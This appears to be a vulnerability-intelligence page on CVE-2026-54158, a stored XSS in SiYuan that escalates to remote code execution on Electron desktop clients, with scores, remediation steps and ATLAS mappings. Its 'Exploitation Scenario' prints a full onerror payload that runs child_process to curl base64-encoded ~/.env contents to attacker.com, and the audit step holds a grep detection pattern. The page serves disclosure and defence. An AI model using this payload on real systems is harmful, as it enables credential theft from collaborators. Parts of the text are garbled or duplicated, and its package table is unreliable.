CVE-2026-54158: Panel XSS→RCE via workspace sync

Q: Is CVE-2026-54158 actively exploited?

No confirmed active exploitation of CVE-2026-54158 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-54158?

1. PATCH: Upgrade SiYuan to 3.7.0 immediately — the fix introduces proper HTML escaping in genAVValueHTML and at the kernel ingestion layer. 2. ISOLATE: Until patched, disable workspace sync with any party you do not fully control. 3. AUDIT: Search all shared workspace database cells for HTML injection indicators: closing tags (</), event handlers (onerror=, onload=, onfocus=), and script-injection patterns. On Linux/macOS: grep -r 'onerror\|</textarea\|<script\|<img' ~/.siyuan/workspace/ 4. ROTATE: If the workspace was shared externally, treat stored API keys, tokens, and credentials as compromised and rotate them. 5. MONITOR: Review Electron process spawns from siyuan for anomalous child_process invocations in EDR/endpoint telemetry.

Q: What systems are affected by CVE-2026-54158?

This vulnerability affects the following AI/ML architecture patterns: collaborative knowledge bases, RAG data sources, AI research documentation platforms, local AI knowledge management systems.

Q: What is the CVSS score for CVE-2026-54158?

CVE-2026-54158 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 0.29%.

CISO Take

SiYuan's database cell renderer interpolates user-supplied values raw into HTML in four branches (text, url, phone, mAsset), creating a stored XSS that chains to full OS-level remote code execution on Electron desktop clients because the renderer runs with nodeIntegration:true enabled. An attacker with write access to any shared workspace — a compromised collaborator, a malicious insider, or anyone with sync access — plants the payload once and it auto-propagates to every synced device, firing silently the moment any user opens the attribute panel containing that row, with no further user interaction required. The CVSS score of 9.9 reflects the Changed scope: a single low-privilege write in the application layer becomes host-level code execution, making blast radius effectively all devices sharing an infected workspace. Patch to SiYuan 3.7.0 immediately; if patching is blocked, disable workspace sync with any untrusted party and audit existing shared workspace database cells for HTML break-out patterns such as closing angle brackets, onerror handlers, or script tags.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

CRITICAL. The exploit chain requires only low privileges (write access to a shared workspace) and zero user interaction post-delivery, placing it in the highest exploitability tier. Electron's nodeIntegration:true collapses the browser sandbox entirely, meaning XSS yields unrestricted OS command execution — credential theft, persistence, lateral movement — not just DOM manipulation. The sync-propagation mechanism acts as a force multiplier: one successful write infects the entire collaboration network automatically. The kernel's lack of escaping on ingestion means the payload survives round-trips and backups. No public exploit exists yet, but the technique is well-understood and trivial to weaponize given the advisory detail.

How does the attack unfold?

Workspace Write Access

Adversary obtains write access to a shared SiYuan workspace via a compromised collaborator account, phishing, or insider threat, then inserts a crafted XSS payload into a database attribute cell.

AML.T0012

Sync Propagation

SiYuan's workspace sync engine distributes the poisoned cell value byte-for-byte to all connected devices without sanitization, silently seeding every collaborator's installation.

XSS Trigger via Panel Open

When any collaborator opens the block-attribute panel containing the poisoned database row during normal use, the raw cell value is rendered as HTML in Electron's renderer process, executing the injected JavaScript.

AML.T0011

RCE & Data Exfiltration

With nodeIntegration:true, the injected script calls require('child_process') to execute OS commands, harvesting API keys, workspace data, and AI credentials, then exfiltrating them to the adversary's infrastructure.

AML.T0112

Workspace Write Access

Adversary obtains write access to a shared SiYuan workspace via a compromised collaborator account, phishing, or insider threat, then inserts a crafted XSS payload into a database attribute cell.

AML.T0012

Sync Propagation

SiYuan's workspace sync engine distributes the poisoned cell value byte-for-byte to all connected devices without sanitization, silently seeding every collaborator's installation.

XSS Trigger via Panel Open

When any collaborator opens the block-attribute panel containing the poisoned database row during normal use, the raw cell value is rendered as HTML in Electron's renderer process, executing the injected JavaScript.

AML.T0011

RCE & Data Exfiltration

With nodeIntegration:true, the injected script calls require('child_process') to execute OS commands, harvesting API keys, workspace data, and AI credentials, then exfiltrating them to the adversary's infrastructure.

AML.T0112

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Panel	go	< 0.0.0-20260628153353-2d5d72223df4	`0.0.0-20260628153353-2d5d72223df4`
5.7K OpenSSF 7.0 492 dependents Pushed 7d ago 63% patched ~16d to patch Full package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1

9.9 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 21% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Changed

C High

I High

A High

What should I do?

5 steps

PATCH

Upgrade SiYuan to 3.7.0 immediately — the fix introduces proper HTML escaping in genAVValueHTML and at the kernel ingestion layer.
ISOLATE

Until patched, disable workspace sync with any party you do not fully control.
AUDIT

Search all shared workspace database cells for HTML injection indicators: closing tags (</), event handlers (onerror=, onload=, onfocus=), and script-injection patterns. On Linux/macOS: grep -r 'onerror\|</textarea\|<script\|<img' ~/.siyuan/workspace/
ROTATE

If the workspace was shared externally, treat stored API keys, tokens, and credentials as compromised and rotate them.
MONITOR

Review Electron process spawns from siyuan for anomalous child_process invocations in EDR/endpoint telemetry.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Supply Chain RAG Framework AML.T0011 - User Execution AML.T0025 - Exfiltration via Cyber Means AML.T0037 - Data from Local System AML.T0050 - Command and Scripting Interpreter AML.T0112 - Machine Compromise

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.9.3 - Protection of AI system information

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place and applied to sustain the value of deployed AI

OWASP LLM Top 10

LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-54158?

SiYuan's database cell renderer interpolates user-supplied values raw into HTML in four branches (text, url, phone, mAsset), creating a stored XSS that chains to full OS-level remote code execution on Electron desktop clients because the renderer runs with nodeIntegration:true enabled. An attacker with write access to any shared workspace — a compromised collaborator, a malicious insider, or anyone with sync access — plants the payload once and it auto-propagates to every synced device, firing silently the moment any user opens the attribute panel containing that row, with no further user interaction required. The CVSS score of 9.9 reflects the Changed scope: a single low-privilege write in the application layer becomes host-level code execution, making blast radius effectively all devices sharing an infected workspace. Patch to SiYuan 3.7.0 immediately; if patching is blocked, disable workspace sync with any untrusted party and audit existing shared workspace database cells for HTML break-out patterns such as closing angle brackets, onerror handlers, or script tags.

Is CVE-2026-54158 actively exploited?

No confirmed active exploitation of CVE-2026-54158 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54158?

1. PATCH: Upgrade SiYuan to 3.7.0 immediately — the fix introduces proper HTML escaping in genAVValueHTML and at the kernel ingestion layer. 2. ISOLATE: Until patched, disable workspace sync with any party you do not fully control. 3. AUDIT: Search all shared workspace database cells for HTML injection indicators: closing tags (</), event handlers (onerror=, onload=, onfocus=), and script-injection patterns. On Linux/macOS: grep -r 'onerror\|</textarea\|<script\|<img' ~/.siyuan/workspace/ 4. ROTATE: If the workspace was shared externally, treat stored API keys, tokens, and credentials as compromised and rotate them. 5. MONITOR: Review Electron process spawns from siyuan for anomalous child_process invocations in EDR/endpoint telemetry.

What systems are affected by CVE-2026-54158?

This vulnerability affects the following AI/ML architecture patterns: collaborative knowledge bases, RAG data sources, AI research documentation platforms, local AI knowledge management systems.

What is the CVSS score for CVE-2026-54158?

CVE-2026-54158 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

collaborative knowledge basesRAG data sourcesAI research documentation platformslocal AI knowledge management systems

MITRE ATLAS Techniques

AML.T0011 User Execution

AML.T0025 Exfiltration via Cyber Means

AML.T0037 Data from Local System

AML.T0050 Command and Scripting Interpreter

AML.T0112 Machine Compromise

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.9.3

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

Exploitation Scenario

An adversary with access to a shared SiYuan workspace — gained via a phished collaborator, a compromised sync account, or social engineering — opens the database attribute view and types the payload `</textarea><img src=x onerror="require('child_process').execSync('curl https://attacker.com/exfil?d='+Buffer.from(require('fs').readFileSync(process.env.HOME+'/.env')).toString('base64'));">` into a text or URL cell. SiYuan stores this value byte-for-byte with no sanitization. The workspace sync engine propagates the poisoned row to all connected devices within minutes. Every time a collaborator opens the block-attribute panel containing that database row — a normal, unsuspicious daily workflow action — the payload executes in the Electron renderer with full Node.js access, exfiltrating environment files, SSH keys, and AI API credentials silently to the attacker's server. The attacker then uses the harvested credentials to access LLM APIs, vector databases, or cloud ML platforms at the victim's expense.

Weaknesses (CWE)

CWE-1188 Initialization of a Resource with an Insecure Default Primary CWE-1188 Initialization of a Resource with an Insecure Default Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-1188 Initialization of a Resource with an Insecure Default CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-1188 — Initialization of a Resource with an Insecure Default: The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

Source: MITRE CWE corpus.